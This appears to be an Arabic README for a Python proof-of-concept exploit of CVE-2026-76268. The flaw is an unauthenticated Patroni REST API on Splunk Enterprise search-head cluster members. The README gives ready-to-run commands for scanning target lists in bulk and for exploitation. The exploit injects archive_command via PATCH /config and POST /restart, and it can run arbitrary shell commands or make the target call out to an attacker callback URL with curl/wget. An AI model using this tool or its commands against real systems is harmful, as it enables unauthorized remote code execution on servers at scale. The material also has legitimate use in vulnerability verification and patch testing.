
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-76268: تكتشف واجهة Patroni REST API غير الموثّقة على أعضاء Splunk SHC وتستغلها عبر حقن archive_command لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).
أداة إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-76268 — Splunk Enterprise على أعضاء مجموعة رؤوس البحث (SHC). الاستشارة الأمنية SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| الاستشارة الأمنية | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| المكوّن | sidecar الخاص بـ PostgreSQL (التخزين) → Patroni REST API |
| المتأثر | 10.2.0 – 10.2.6، 10.4.0 – 10.4.2 |
| الإصلاح | 10.2.7، 10.4.3 (وما بعدها) |
| غير متأثر (بهذا CVE) | 10.0.x، 9.4.x |
| CWE | CWE-306 — غياب المصادقة لوظيفة حرجة |
| CVSS 3.1 | 9.8 حرج |
| علامة التحقق | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
على أعضاء SHC في Splunk Enterprise المصابة، تقبل Patroni REST API (وهي جزء من sidecar الخاص بـ PostgreSQL الذي أُدخل في Splunk 10.x) طلبات تغيّر الحالة دون مصادقة. يمكن للمهاجم الذي يملك وصولاً شبكياً إلى مستمع Patroni تغيير التكوين الديناميكي للعنقود وإطلاق تنفيذ أوامر على مستوى نظام التشغيل عبر معاملات PostgreSQL مثل archive_command (سلسلة PATCH /config ثم POST /restart في Patroni).
تتواصل أداة إثبات المفهوم هذه مباشرةً مع Patroni (عادةً عبر TCP 8008، أو منفذ يخصصه وسيط IPC Broker في Splunk). وهي لا تستخدم Splunk Web (8000) ولا منفذ إدارة Splunk (8089). فذلك سطح مختلف (مثل المشكلات التاريخية في sidecar عبر وكيل splunkd).
الشروط المسبقة للتأثير الفعلي:
[postgres] مفعّلاً (disabled = true يزيل Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests، urllib3| الوضع | الغرض |
|---|---|
check (الافتراضي) | العثور على Patroni على المنافذ الشائعة؛ اختبار PATCH /config بدون مصادقة |
exploit | تشغيل سلسلة RCE في Patroni (archive_command + إعادة التشغيل) |
| Mass | --list FILE مع خيوط -j؛ يكتب JSONL + قوائم اختيارية للإصابات/الاستغلال |
يجب تمرير إما -t TARGET أو --list FILE.
-t / الأسطر في --list)| الصيغة | مثال |
|---|---|
| المضيف فقط (فحص المنفذ الافتراضي) | 192.168.1.50 |
| المضيف + المنفذ | 192.168.1.50:8008 |
| عنوان URL كامل | http://10.0.0.5:8008 |
التعليقات في ملفات القوائم: يتم تجاهل الأسطر التي تبدأ بـ #.
اكتشاف Patroni وتقييم ما إذا كانت تغييرات التكوين بدون مصادقة تبدو مسموحًا بها.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
ما الذي يفعله PoC:
GET /patroni (أو /) على كل منفذ في --ports (الافتراضي 8008,8009,8010,18008).PATCH /config بجسم JSON فارغ ودون بيانات اعتماد.exploitable_candidate: true عندما يستجيب Patroni ولا يُرفض PATCH بـ 401/403.الأعلام المفيدة:
| العلم | المعنى |
|---|---|
--ports | منافذ Patroni المراد فحصها، مفصولة بفواصل |
--port | تخطي الفحص؛ استخدام منفذ واحد فقط |
--timeout | مهلة HTTP (بالثواني، الافتراضي 20) |
--proxy | وكيل HTTP(S) للطلبات |
--output | سجل JSONL (الافتراضي cve_2026_76268_results.jsonl) |
--vuln-list | مرشحون مفصولون بعلامات جدولة (الافتراضي hits.txt) |
--quiet | إخراج أقل على الطرفية |
--no-color | طرفية عادية |
رمز الخروج: 0 إذا كانت exploitable_candidate صحيحة؛ وإلا 1.
سير العمل الموصى به: فحص جماعي → مراجعة hits.txt → استغلال جماعي فقط على المضيفين المصرح بهم.
--mode exploit)يشغّل سلسلة حقن إعدادات Patroni. هذا يغيّر الإعدادات الديناميكية الحية لـ sidecar/PostgreSQL على الهدف.
--port).PATCH /config الرمز 401/403.PATCH /config — يضبط wal_level=replica وarchive_mode=always وarchive_timeout=1 و**archive_command** الخاص بك.POST /restart — تطبيق إعدادات PostgreSQL المعلّقة.--wait-archive (الافتراضي 3)؛ يُنفَّذ archive_command في دورة أرشفة WAL (وليس فورًا).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
المخرجات:
--output — ملف JSONL كامل (في وضع الاستغلال الجماعي يكون الافتراضي cve_2026_76268_exploit.jsonl إذا أبقيت على الاسم الافتراضي).--exploited-list — الصفوف التي تكون فيها القيمة exploited: true (الافتراضي exploited.txt).| الخيار | المعنى |
|---|---|
--oob URL | عنوان URL الأساسي؛ يُشغّل الأمر curl/wget نحو URL/POCBIT-76268-OK |
--command | سلسلة archive_command الكاملة الخاصة بـ PostgreSQL (تتجاوز القيمة الافتراضية لـ OOB) |
--wait-archive | عدد الثواني للانتظار بعد إعادة التشغيل قبل أن يخرج PoC |
--ports / --port | اكتشاف المنافذ أو تحديد منفذ Patroni ثابت |
--tls | استخدام https:// مع Patroni (غير شائع في وثائق sidecar الافتراضية لـ Splunk) |
الأمر الافتراضي عند عدم تعيين --oob ولا --command:
touch /tmp/POCBIT-76268-OK
رمز الخروج: 0 عندما يُقبل PATCH وإعادة التشغيل (exploited: true). وهذا يعني أن السلسلة قد نُفّذت، وليس أن callback أو إثبات الملف قد تحقق بالفعل. تحقق عبر OOB أو بفحص نظام الملفات على المضيف.
مهم: قد يتجاهل Patroni التغييرات الديناميكية إذا كانت المعاملات نفسها مقفلة في الإعدادات المحلية (تقوية من المورّد). في هذه الحالة قد يفشل الاستغلال حتى على إصدارات Splunk القديمة.
-t)تُطبع إلى stdout (JSON منسّق). في الوضع الجماعي يُكتب كائن JSON واحد لكل سطر.
| الحقل | المعنى |
|---|---|
mode | check أو exploit |
host / target | المدخل بعد التطبيع |
patroni_base | مثل http://192.168.1.50:8008 |
patroni_port | المنفذ الذي استجاب عليه Patroni |
patroni_role | من GET /patroni (مثل primary) |
unauth_patch | فحص: هل PATCH مسموح دون مصادقة |
exploitable_candidate | فحص: سطح هجوم محتمل قابل للاستغلال |
exploited | استغلال: نجح PATCH وإعادة التشغيل |
patch / restart | حالة HTTP ومعاينة للاستجابة |
verify | تلميح: مسار OOB أو /tmp/POCBIT-76268-OK |
error | سبب الفشل (auth_required_patched_or_hardened، no_patroni_on_ports، …) |
pocbit، pocbit_page، verify_marker | بيانات وصفية لـ PoCbit |
| النتيجة | المعنى |
|---|---|
patroni_unauth_patch_confirmed | إصابة قوية في الفحص — قُبل PATCH دون مصادقة |
patroni_auth_required | يتطلب Patroni مصادقة (على الأرجح مُرقّع أو مُقوّى) |
no_patroni_on_ports | لا يوجد JSON من Patroni على المنافذ المفحوصة (مضيف خاطئ، أو محجوب بجدار ناري، أو ليس sidecar لـ SHC) |
exploit_chain_ok | اكتملت سلسلة HTTP للاستغلال |
auth_required_patched_or_hardened | أُوقف الاستغلال قبل الحقن |